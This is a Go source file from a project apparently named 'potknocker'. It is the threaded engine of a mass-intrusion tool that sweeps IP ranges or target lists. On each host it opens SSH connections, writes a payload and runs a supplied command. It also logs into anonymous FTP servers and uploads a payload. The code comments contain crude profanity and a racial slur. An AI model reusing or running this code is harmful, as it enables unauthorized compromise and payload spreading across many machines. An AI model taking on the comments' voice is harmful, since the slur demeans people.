potknocker/common/exec.go
2024-08-31 20:55:33 -05:00

79 lines
1.9 KiB
Go

package common
// separate channel iterators per case might not look the prettiest, but performs better due to
// not checking Params.Mode after every addr is received and avoiding an extra cmp every cycle.
// form over function source code aestheticians can suck the skin off my dick. on chirp.
func thread(addrs <-chan string, tab chan<- interface{}) {
switch Params.Mode {
case 0: // ssh
for addr := range addrs {
if !ipexcluded(addr) {
if !Params.Silent {
info("trying ssh connection to " + addr)
}
if c, err := connssh(addr); err == nil {
success("connected to " + addr + " - " + string(c.ServerVersion()))
if Params.Payload != "" {
if err = loadpl(c); err == nil {
success("wrote payload to " + c.RemoteAddr().String())
}
}
if Params.Command != "" {
if err = runcmd(c, Params.Command); err == nil {
success("executed command on " + c.LocalAddr().String() + " as " + c.User())
}
}
c.Close()
}
}
}
default: // ftp
for addr := range addrs {
if !ipexcluded(addr) {
if !Params.Silent {
info("trying anonymous ftp connection to " + addr)
}
if c, err := connftp(addr); err == nil {
success("logged into " + addr + " as anonymous")
if err = uploadplftp(c); err == nil {
success("delivered payload to anonymous ftp server at " + addr)
}
c.Quit()
}
}
}
}
tab <- "hack the planet"
}
func Takeoff() {
// id die for my niggas
// i ride my niggas
// ride for*
pause()
addrs := make(chan string)
tab := make(chan interface{})
for x := 0; x < Params.Threads; x++ {
go thread(addrs, tab)
}
if Params.Cidr != "" {
if !cidrexcluded(Params.Cidr) {
lcgcidr(Params.Cidr, addrs)
} else {
fatal("provided cidr " + Params.Cidr + " is within an excluded range")
}
} else {
readlist(Params.Targets, addrs)
}
close(addrs)
for x := 0; x < Params.Threads; x++ {
<-tab
}
close(tab)
}